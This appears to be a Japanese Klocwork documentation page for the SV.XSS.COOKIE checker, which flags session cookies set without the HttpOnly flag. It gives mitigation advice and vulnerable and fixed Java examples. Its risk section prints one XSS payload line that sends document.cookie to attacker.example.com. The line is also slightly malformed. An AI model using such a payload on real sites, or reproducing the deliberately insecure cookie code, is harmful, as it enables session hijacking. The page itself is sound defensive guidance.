SV.XSS.COOKIE
setHttpOnly フラグのない機密性の高いクッキー
クライアントの Web サイトとの対話に関するセッション ID の格納に使用されるクッキーは、クライアントが行うリクエストを検証できるようになりますが、setHttpOnly フラグを設定せずに HttpServletResponse オブジェクトにそれが追加される場合に、Klocwork は SV.XSS.COOKIE の欠陥を報告します。
脆弱性とリスク
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
軽減と防止
HttpOnly フラグは、互換性のあるブラウザーに、クライアント側のスクリプトがクッキーにアクセスするのを防ぐように指示します。Set-Cookie HTTP 応答ヘッダーに HttpOnly フラグを含めることは、攻撃者のスクリプトコードがクッキーの内容を読み取って盗み出そうとするような、XSS に関連するリスクを軽減するのに役立ちます。設定されている場合、そのフラグをサポートしているブラウザーは、XSS を使用して実行される第三者のクライアント側スクリプトに、クッキーの内容を公開しません。
脆弱コード例 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork は 3 行目で SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を表示します。これは、応答に追加する前に setHttpOnly フラグがクッキーで設定されていないためです。
修正コード例 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
setHttpOnly フラグが 3 行目でクッキーに設定されているため、Klockwork は 4 行目で SV.XSS.COOKIE の欠陥を報告しなくなりました。
脆弱コード例 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(false);
response.addCookie(c);
Klocwork は4 行目にある SV.XSS.COOKIE の欠陥を報告し、「setHttpOnly フラグのないクッキーでの攻撃の可能性」を表示します。setHttpOnly メソッドが呼び出されていますが、3 行目で false として設定されています。
修正コード例 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
3 行目で setHttpOnly フラグが cookie に設定されているため、Klocwork は 4 行目で SV.XSS.COOKIE 欠陥を報告しなくなります。
セキュリティトレーニング
Secure Code Warrior が提供しているアプリケーションセキュリティトレーニング教材。